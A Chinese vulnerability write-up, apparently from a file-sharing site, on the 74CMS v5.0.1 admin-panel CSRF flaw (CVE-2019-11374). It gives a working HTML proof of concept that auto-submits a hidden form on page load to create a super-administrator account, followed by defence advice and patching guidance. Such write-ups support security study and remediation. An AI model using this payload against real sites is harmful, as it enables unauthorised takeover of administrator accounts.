74CMS v5.0.1 后台 CSRF 漏洞分析与复现
132 浏览量
更新于2024-08-03
收藏 1KB MD 举报
"74cms v5.0.1 后台存在跨站请求伪造(CSRF)漏洞,CVE编号CVE-2019-11374。攻击者可利用此漏洞诱使管理员执行恶意操作,创建新的后台管理员账户,获取系统控制权。受影响的版本仅为74CMS v5.0.1。"
### 漏洞详解
跨站请求伪造(Cross-Site Request Forgery,简称CSRF)是一种网络攻击方式,攻击者通过构造恶意请求,使得用户在不知情的情况下执行非预期的操作。在这个特定的74CMS v5.0.1版本中,CSRF漏洞存在于后台管理界面的添加管理员功能中。
**漏洞描述:**
在74CMS v5.0.1中,攻击者可以构建一个包含特定URL和POST参数的恶意网页,这个URL指向了后台的管理员添加接口(/index.php?m=admin&c=admin&a=add)。当受害者(即系统管理员)在登录状态下去访问这个恶意网页时,浏览器会自动提交表单数据,包括新管理员的用户名、邮箱、密码以及角色ID。由于请求是来自已登录的管理员,系统会认为这是管理员的合法操作,因此会创建一个新的具有最高权限的管理员账户。
**漏洞影响:**
- 影响版本:74CMS v5.0.1
- 攻击者成功利用此漏洞后,可以任意添加后台管理员账户,这可能导致攻击者获得与被诱骗管理员相同级别的权限,甚至整个系统的控制权。
- 对于使用74CMS v5.0.1的网站,如果没有及时修补这个漏洞,将面临严重的安全风险,包括数据泄露、非法操作、系统被接管等。
**漏洞复现步骤:**
1. 首先,攻击者需要了解或猜到管理员的登录状态。
2. 然后,构造一个包含恶意表单的HTML页面,如示例代码所示,表单数据包括新管理员的用户名、邮箱、密码和角色ID。
3. 将这个页面链接通过电子邮件、即时消息或其他方式发送给管理员,诱使他们点击。
4. 当管理员点击并加载这个页面时,浏览器会自动提交表单,创建新的管理员账户。
```html
<!DOCTYPE html>
<html>
<head>
<title>CSRF</title>
<script type="text/javascript">
function exec1() {
document.getElementById('form1').submit();
}
</script>
</head>
<body onload="exec1();">
<form id="form1" action="https://www.0dayhack.com/index.php?m=Admin&c=admin&a=add" method="POST">
<input type="hidden" name="username" value="admin688"/>
<input type="hidden" name="email" value="111111111@qq.com"/>
<input type="hidden" name="password" value="admin688"/>
<input type="hidden" name="repassword" value="admin688"/>
<input type="hidden" name="role_id" value="1"/>
</form>
</body>
</html>
```
### 防御策略
- **CSRF令牌**:为每个敏感操作添加一个随机且唯一的CSRF令牌,令牌存储在服务器端和客户端的session中,请求时必须携带这个令牌,服务器端验证其有效性。这样,只有来源于合法页面的请求才会被接受。
- **验证HTTP Referer头**:虽然此头可以被篡改,但通常情况下,正常请求的Referer会反映出来源页面,而伪造请求则不会有或有误的Referer。
- **限制GET请求**:敏感操作尽量使用POST请求,因为GET请求更容易被无意间触发或被第三方引用。
- **使用HTTPOnly Cookie**:防止JavaScript访问Cookie,减少Cookie被XSS攻击盗取的风险。
- **提示二次确认**:对高风险操作增加二次确认机制,如删除、修改重要信息等。
为了保障系统安全,对于已经部署了74CMS v5.0.1的站点,应尽快升级到修复此漏洞的最新版本,或者应用官方提供的补丁,同时加强安全配置,防止类似攻击的发生。
2024-05-18 上传
2013-02-19 上传
2023-08-27 上传
156 浏览量
2013-02-19 上传
120 浏览量
103 浏览量
103 浏览量
106 浏览量